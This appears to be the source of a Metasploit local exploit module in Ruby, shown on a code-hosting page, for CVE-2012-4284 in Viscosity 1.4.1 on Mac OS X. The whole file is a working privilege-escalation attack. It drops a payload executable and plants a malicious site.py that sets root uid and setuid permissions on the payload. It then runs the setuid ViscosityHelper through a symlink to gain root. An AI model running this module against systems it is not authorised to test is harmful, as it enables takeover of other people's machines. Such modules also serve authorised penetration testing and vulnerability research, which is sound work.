Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
class MetasploitModule < Msf::Exploit::Local
8
  Rank = ExcellentRanking
9

10
  include Msf::Post::OSX::Priv
11
  include Msf::Post::File
12
  include Msf::Exploit::EXE
13

14
  def initialize(info = {})
15
    super( update_info( info, {
16
        'Name'           => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',
17
        'Description'    => %q{
18
            This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The
19
          vulnerability exists in the setuid ViscosityHelper, where an insufficient
20
          validation of path names allows execution of arbitrary python code as root.
21
          This module has been tested successfully on Viscosity 1.4.1 over Mac OS X
22
          10.7.5.
23
        },
24
        'References'     =>
25
          [
26
            [ 'CVE', '2012-4284' ],
27
            [ 'OSVDB', '84709' ],
28
            [ 'EDB', '20485' ],
29
            [ 'URL', 'http://blog.zx2c4.com/791' ]
30
          ],
31
        'License'        => MSF_LICENSE,
32
        'Author'         =>
33
          [
34
            'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
35
            'juan vazquez'        # Metasploit module
36
          ],
37
        'DisclosureDate' => '2012-08-12',
38
        'Platform'       => 'osx',
39
        'Arch'           => [ ARCH_X86, ARCH_X64 ],
40
        'SessionTypes'   => [ 'shell' ],
41
        'Targets'        =>
42
          [
43
            [ 'Viscosity 1.4.1 / Mac OS X x86',    { 'Arch' => ARCH_X86 } ],
44
            [ 'Viscosity 1.4.1 / Mac OS X x64',    { 'Arch' => ARCH_X64 } ]
45
          ],
46
        'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
47
        'DefaultTarget' => 0
48
      }))
49
    register_options [
50
      # These are not OptPath because it's a *remote* path
51
      OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
52
      OptString.new("Viscosity",   [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])
53
    ]
54
  end
55

56
  def base_dir
57
    datastore['WritableDir'].to_s
58
  end
59

60
  def check
61
    unless file? datastore['Viscosity']
62
      vprint_error 'ViscosityHelper not found'
63
      return CheckCode::Safe
64
    end
65

66
    check = cmd_exec("find  #{datastore["Viscosity"]} -type f -user root -perm -4000")
67

68
    unless check.include? 'ViscosityHelper'
69
      return CheckCode::Safe
70
    end
71

72
    CheckCode::Vulnerable
73
  end
74

75
  def clean
76
    file_rm(@link)
77
    file_rm(@python_file)
78
    file_rm("#{@python_file}c")
79
    file_rm(@exe_file)
80
  end
81

82
  def exploit
83
    if is_root?
84
      fail_with Failure::BadConfig, 'Session already has root privileges'
85
    end
86

87
    if check != CheckCode::Vulnerable
88
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
89
    end
90

91
    unless writable? base_dir
92
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
93
    end
94

95
    exe_name = rand_text_alpha(8)
96
    @exe_file = "#{base_dir}/#{exe_name}"
97
    print_status("Dropping executable #{@exe_file}")
98
    write_file(@exe_file, generate_payload_exe)
99

100
    evil_python =<<-EOF
101
import os
102
os.setuid(0)
103
os.setgid(0)
104
os.system("chown root #{@exe_file}")
105
os.system("chmod 6777 #{@exe_file}")
106
os.execl("#{@exe_file}", "#{exe_name}")
107
    EOF
108

109
    @python_file = "#{base_dir}/site.py"
110
    print_status("Dropping python #{@python_file}...")
111
    write_file(@python_file, evil_python)
112

113
    print_status("Creating symlink...")
114
    link_name = rand_text_alpha(8)
115
    @link = "#{base_dir}/#{link_name}"
116
    cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"
117

118
    print_status("Running...")
119
    begin
120
      cmd_exec "#{@link}"
121
    rescue
122
      print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")
123
      clean
124
      return
125
    end
126
    print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")
127
  end
128
end
129

130

131